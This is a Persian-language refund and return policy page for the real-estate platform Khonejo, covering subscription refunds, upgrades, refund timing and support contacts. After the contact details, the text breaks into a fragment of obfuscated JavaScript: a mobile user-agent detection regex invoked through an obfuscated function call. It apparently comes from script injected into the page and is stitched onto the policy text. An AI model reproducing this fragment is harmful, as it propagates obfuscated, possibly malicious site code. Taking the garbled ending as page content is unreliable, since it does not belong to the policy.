سیاست بازپرداخت و بازگشت
سیاست بازپرداخت و بازگشت وجه
آخرین به‌روزرسانی: ۱۴۰۳/۱۲/۲۰
خونه جو به عنوان یک پلتفرم آنلاین برای خرید، فروش، اجاره و مشارکت در ساخت املاک، متعهد به ارائه خدمات باکیفیت به کاربران خود است. لطفاً قبل از خرید هرگونه بسته اشتراکی یا استفاده از خدمات پولی، این سیاست را به دقت مطالعه کنید.
۱. شرایط بازپرداخت وجه
- عدم نمایش آگهی: در صورتی که پس از خرید بسته اشتراکی، آگهی شما به دلایل فنی در وب‌سایت نمایش داده نشود، هزینه اشتراک پس از بررسی و تأیید تیم پشتیبانی به شما بازگردانده خواهد شد.
- خطای پرداخت: در صورت کسر وجه از حساب شما و عدم فعال‌سازی بسته، وجه پرداختی پس از بررسی سیستم بانکی، حداکثر ظرف ۷۲ ساعت کاری به حساب شما بازگردانده می‌شود.
- حذف آگهی به دلیل تخلف: در صورتی که آگهی شما به دلیل نقض قوانین وب‌سایت یا قوانین جمهوری اسلامی ایران حذف شود، هزینه پرداخت‌شده قابل بازگشت نخواهد بود.
- انصراف از اشتراک: پس از خرید بسته اشتراکی و فعال‌سازی آن، امکان بازپرداخت وجه در صورت انصراف از اشتراک وجود ندارد.
۲. شرایط تغییر یا ارتقاء بسته اشتراکی
- در صورتی که کاربر بخواهد بسته خریداری‌شده را به بسته‌ای بالاتر ارتقا دهد، می‌تواند درخواست خود را از طریق بخش پشتیبانی ثبت کند. مابه‌التفاوت هزینه بسته‌ها پس از بررسی به کاربر اعلام می‌شود.
- تغییر یا ارتقاء بسته فقط برای اشتراک‌های فعال امکان‌پذیر است و بسته‌های منقضی‌شده شامل این قانون نمی‌شوند.
۳. روش بازگشت وجه
- مبلغ بازپرداخت فقط به همان حساب بانکی که پرداخت از طریق آن انجام شده است، واریز می‌شود.
- مدت زمان بازگشت وجه بسته به قوانین بانک‌های عامل ممکن است ۳ تا ۷ روز کاری طول بکشد.
۴. تماس با پشتیبانی
در صورت نیاز به درخواست بازپرداخت یا کسب اطلاعات بیشتر، می‌توانید با پشتیبانی ما در ارتباط باشید:
📞 شماره تماس: 56742005-۰۲۱
📧 ایمیل: support@khonejo.ir
🌐 آدرس سایت: khonejo.ir
android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’]
